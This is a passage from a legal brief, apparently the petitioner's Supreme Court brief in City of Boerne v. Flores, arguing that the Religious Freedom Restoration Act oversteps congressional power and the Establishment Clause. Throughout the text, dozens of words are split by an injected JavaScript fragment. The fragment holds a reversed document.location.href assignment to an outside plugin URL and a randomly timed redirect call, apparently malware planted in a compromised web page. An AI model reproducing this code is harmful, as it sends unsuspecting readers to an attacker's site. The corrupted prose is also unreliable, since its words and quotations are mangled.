Let the end be legitimate, let it be within the scope of the constitution, and all means which are [17]  appropriate, which are plainly adapted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to that end, which are not prohibited, but consist with the letter and spirit of the constitution, are constitutional.

 

The Fifth Circuit found that RFRA “may be regarded” as an enactment toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to enforce the Fourteenth Amendment, which incorporates the First Amendment. In support of its conclusion that RFRA enforces the First Amendment’s prohibitions against the states, the court cited legislative histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory regarding the “need for legislation toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to defend individuals, particularly those from minority religions, from generally applicable laws that burden the exercise of religion.” Flores, 73 F.3d at 1359.

The court then stated that RFRA is “plainly adapted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to [the end of the First Amendment.]” Flores, 73 F.3d at 1360. The court agreed with the United States’ argument that “even if the Constitution only prohibits governmental action taken with the intent of interfering with religious exercise, Congress may go farther, as it did with RFRA, and prohibit conduct that has the effect of burdening the exercise of religion” on the ground that this Court had held in City of Rome v. United States, 446 U.S. 156, 177 (1980), [18]  that Congress may “prohibit laws with a racially discriminatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory effect . . . as an appropriate method of promoting the Amendment’s purpose, even if the Constitution only prohibits laws with a racially discriminatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory intent.” Flores, 73 F.3d at 1360. Further, the court reasoned, RFRA could be justified as an attempt toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to protect religious minorities, and that Congress “could reasonably conclude” that minority religions would be at a disadvantage in obtaining religious exemptions. Id.

The Fifth Circuit ruled that the third prong of the M’Culloch test, whether RFRA is consistent “with the letter and spirit of the constitution,” was satisfied because RFRA did not violate the separation of powers, the Establishment Clause, or the Tenth Amendment.

Second, the court addressed the City’s separation of powers challenge toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to RFRA. The City had argued that RFRA violates the separation of powers by permitting Congress toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to legislate an interpretation of the Constitution at odds with the Supreme Court’s interpretation. The City cited this Court’s statement in Marbury v. Madison, 5 U.S. (1 Cranch) 137, 177 (1803), that it is the duty of the judiciary “toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to say what the law [19]  is.” Acknowledging that RFRA is a “direct response toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Supreme Court’s decision in Smith,” the court rejected the notion that RFRA “second-guess[es] the courts.” Flores, 73 F.3d at 1361. Rather, the court characterized RFRA as a statute regulating “nascent violations” of the Free Exercise Clause, in the sense that it dispenses with the requirement that discriminatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory purpose be shown in order toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ferret out substantial burdens on the free exercise of religion. Id.

The court of appeals also reasoned that because governments may accommodate religion more than the Free Exercise Clause requires, Congress has the power toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to force all governments toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to accommodate all religious conduct substantially burdened by a generally applicable law. It concluded: “In short, the judiciary’s duty is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to say what the law is, but that duty is not exclusive.”Id. at 1363.

The court of appeals also termed as “facile” the United States’ argument that RFRA is merely a statute that “provides legislative protection for a constitutional right over and above that provided by the Constitution.” Flores, 73 F.3d at 1361. The court stated: “We will not pretend that RFRA is [20]  anything but a direct response toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Supreme Court’s decision in Smith.” Id. Nevertheless, the court upheld RFRA on the theory that Section 5 permits Congress “an extraordinary exercise of power.” Flores, 73 F.3d at 1362.

Third, the court rejected the City’s argument that RFRA violates the Establishment Clause by privileging religion on the ground that RFRA does not “amount toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Government coercing religious activity through ‘its own activities and influence.'” Flores, 73 F.3d at 1364 (quotingCorporation of Presiding Bishop v. Amos, 483 U.S. 327, 337 (1987)).

Finally, the court held that RFRA “on its face” does not violate the Tenth Amendment, but left “RFRA’s applicability toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to particular areas of state regulation . . . for individual, case-by-case resolution.” Id.

The City of Boerne filed a timely Petition for Writ of Certiorari in this Court, and on Octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober 15, 1996, the writ was granted.

SUMMARY OF ARGUMENT

The Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act requires governments toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to accommodate religious conduct unless they can prove a “compelling interest” and that they have acted with the “least restrictive means.” 42 U.S.C. § 2000bb-1, [21]  reprinted in Cert. Pet. App. at 40a. It was enacted for the purpose of supplanting this Court’s interpretation of the Free Exercise Clause announced inEmployment Division v. Smith, 494 U.S. 872 (1990), with an interpretation more palatable toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Congress.

The word “Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration” in the Act’s title is a euphemism. In Smith, this Court announced that neutral, generally applicable laws are not subject toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the compelling interest standard. Smith, 494 U.S. at 885. RFRA’s across-the-board, extraordinarily high standard requires more than this Court’s free exercise doctrine ever required, either in Smith or before Smith. This brazen attempt toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to take over free exercise law knows no parallel in congressional histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory and violates the separation of powers, federalism principles, and the Establishment Clause.

The courts’ core judicial function is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to resolve Article III cases or controversies by reading and interpreting the relevant constitutional text. Under the guise of creating a “statutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory” cause of action toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to support a legislatively-preferred reading of the Free Exercise Clause, Congress has taken over the judicial function of interpreting the Constitution in the course [22]  of adjudicating cases and controversies.

RFRA is not a valid exercise of Congress’s power under Section 5 of the Fourteenth Amendment. Under The Civil Rights Cases, 109 U.S. 3 (1883), Section 5 extends power toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Congress solely toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to enforce constitutional guarantees. Id. at 11. The Act’s invalidation of every law that incidentally burdens the free exercise of religion, whether the law targets a particular religion or not, creates extra-constitutional rights and therefore exceeds Congress’s remedial power under Section 5.

This Court should lay toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to rest the “substantive power theory,” i.e., the notion that Congress may expand the scope of constitutional guarantees, which was an alternative holding in the Voting Rights Act cases, and which transgresses separation of powers and federalism concerns.

The Act oversteps federalism boundaries inherent in Section 5 by forcing state and local governments toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to abide by a statutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory scheme that is not required by the Constitution.

RFRA violates the Establishment Clause by privileging religion over all other forms of conscience. It fails this Court’s test announced in Lemon v. Kurtzman, 403 U.S. 602, 612-13 (1971). [23]  It does not have a secular purpose. It is certainly not neutral in effect. It requires entanglement of church and state by requiring all governments toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to become intimately informed on the theological tenets of every religion in the relevant community in order toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to enact a law that is the least restrictive means.

ARGUMENT

The Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act mocks the genius of the American Constitution’s structure. “From the standpoint of the . . . constitutional structure of this Nation, [the Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act] bring[s] us toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a crossroad that is marked with a formidable ‘Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top’ sign. That sign compels us toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pause before we [are carried] toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the point of sanctioning Congress'” attempt toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to expand the scope of constitutional rights “by simple legislation.” Oregon v. Mitchell, 400 U.S. 112, 152 (1970) (Harlan, J., concurring in part and dissenting in part).

The success of the Constitution resides in the Framers’ fundamental insight that a division of duties, authority, and power is essential toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to avoiding the concentrations of power that irresistibly lead toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tyranny. In James Madison’s words, “The accumulation of all powers, legislative,  [24] executive, and judiciary, in the same hands, whether of one, a few, or many, and whether hereditary, self-appointed, or elective, may justly be pronounced the very definition of tyranny.” The Federalist No. 47, at 301 (James Madison) (Clintoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Rossiter ed., 1961). Acutely conscious of the histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory of tyranny in other countries and times, the Framers crafted a series of mechanisms intended toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to prevent the consolidation of toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too much power in any one institution. They separated the powers of the federal government intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to three branches, divided power between the federal and the state governments, and prohibited the union of church and state. With RFRA, Congress has disabled all three mechanisms, simultaneously transgressing three different constitutional boundaries.

I.  THE RELIGIOUS FREEDOM RESTORATION ACT VIOLATES THE SEPARATION OF POWERS

The Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act is an undisguised attempt by Congress toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to overtake this Court’s core constitutional function and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to reverse this Court’s statement of the meaning of the First Amendment’s Free Exercise Clause in Smith, 494 U.S. 872 (1990). See, e.g., The Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act of 1990: Hearings on H.R.  [25]  5377 Before the Subcomm. on Civil and Constitutional Rights of the House Comm. on the Judiciary, 101st Cong., 2d Sess. 8, 9, 38, 41, 48 (1990). It rejects the Court’s announced standard, which does not apply the Free Exercise Clause toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to general and otherwise valid neutral laws that incidentally burden religious conduct, and replaces it with one more pleasing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Congress. See 42 U.S.C. § 2000bb(a)(4), Cert. Pet. App. at 39a (criticizing Smith standard); id. at §§ 2000bb(b)(1), 2000bb-1(a)-(c), Cert. Pet. App. at 40a (instituting compelling interest and least restrictive means tests whenever religious conduct is substantially burdened). “RFRA’s rewrite of the Free Exercise Clause . . . is but the vehicle by which Congress seeks toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ride intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the judicial reservation.” Eugene Gressman & Angela C. Carmella, The RFRA Revision of the Free Exercise Clause, 57 Ohio St. L.J. 65, 111 (1996).

A.  Separation of Powers Principles

Long settled constitutional doctrine holds that it is “emphatically the province and duty of the judicial department toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to say what the law is.” Marbury v. Madison, 5 U.S. (1 Cranch) 137, 177 (1803); U.S. Const. art.  [26]  III, §§ 1, 2. The Supreme Court, and only the Supreme Court, is the “ultimate interpreter of the Constitution.” Baker v. Carr, 369 U.S. 186, 211 (1962). The Supreme Court’s core constitutional function is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to decide the meaning of the Constitution in the context of deciding Article III cases and controversies.

Where Congress or the President tries toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to overtake this core judicial function, it violates the separation of powers. “It remains a basic principle of our constitutional scheme that one branch of the Government may not intrude upon the central prerogatives of another.” Loving v. United States, 116 S. Ct. 1737, 1743 (1996) (citing Plaut v. Spendthrift Farm, Inc., 115 S. Ct. 1447 (1995)). The judicial branch has been characterized as the “least dangerous branch.” See Alexander M. Bickel, The Least Dangerous Branch (1962). Where its distinctive power toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to set constitutional standards of review has been usurped, it is the most irrelevant branch. In the words of Alexander Hamiltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton:

The interpretation of the laws is the proper and peculiar province of the courts. A constitution is, in fact, and must be regarded by the judges as, a fundamental [27] law. It therefore belongs toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to them toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ascertain its meaning as well as the meaning of any particular act proceeding from the legislative body. If there should happen toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be an irreconcilable variance between the two, that which has the superior obligation and validity ought, of course, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be preferred; or, in other words, the Constitution ought toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be preferred toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the statute, the intention of the people toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the intention of their agents.

The Federalist No. 78, at 467 (Alexander Hamiltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton) (Clintoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Rossiter ed., 1961). See also United States v. Nixon, 418 U.S. 683, 703 (1974);Plaut v. Spendthrift Farm, Inc., 115 S.Ct. 1447, 1463 (1995) (“The doctrine of separation of powers is a structural safeguard.”). The eminent constitutional scholar Thomas Cooley articulated the separation of powers problem embedded in RFRA in precise terms: the legislature “cannot compel the courts . . . toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to adopt a particular construction of a law [and] cannot… require of them a construction of the law according toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to its own views.” Thomas Cooley, Constitutional Limitations 94-95 (1868), cited with approval in Plaut, 115 S. Ct. at 1455-56.

 

“Congress simply lacks [28]  the constitutional authority toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to override the Court’s interpretation of the First Amendment.” Douglas Laycock & Oliver S. Thomas, Interpreting the Religious Freedom Restoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act, 73 Tex. L. Rev. 209, 243 (1994). After this Court declared the meaning of the Free Exercise Clause in Smith, Congress had no latitude toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to introduce a competing standard and then toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to direct the courts toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to implement that standard in cases adjudicating free exercise interests.

With RFRA, Congress has overstepped the bounds of its legitimate constitutional powers and made real the “fear of legislative usurpation” that animated the Framers’ pivotal decision toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to institute a government of limited powers. Henry P. Monaghan, Marbury and the Administrative State, 83 Colum. L. Rev. 1, 32 (1983). In the end, this case is not about religious liberty, but rather about the power of Congress toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to alter the Constitution’s liberty-preserving structure.

Fortunately, “the Constitution protects us from our own best intentions: It divides power among sovereigns and among branches of government precisely so that we may resist the temptation toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to concentrate power in one location as an expedient solution toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to [29]  the crisis of the day.” New York v. United States, 505 U.S. 144, 187 (1992).

B.  The Supreme Court’s Free Exercise Doctrine

In 1990, this Court toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}took the occasion of its decision in Employment Division v. Smith, 494 U.S. 872 (1990), toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to survey First Amendment Free Exercise doctrine. Reaffirming the approach that this Court has employed since its first free exercise decision, Reynolds v. United States, 98 U.S. 145 (1879), this Court explained that the compelling interest standard announced eighty-five years after Reynolds in Sherbert v. Verner, 374 U.S. 398 (1963), had been applied rarely in free exercise cases involving neutral, nondiscriminatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory, generally applicable laws. Smith, 494 U.S. at 883-85. Justice Scalia, writing for the Court and joined by Chief Justice Rehnquist and Justices White, Stevens, and Kennedy, surveyed the doctrine as follows:

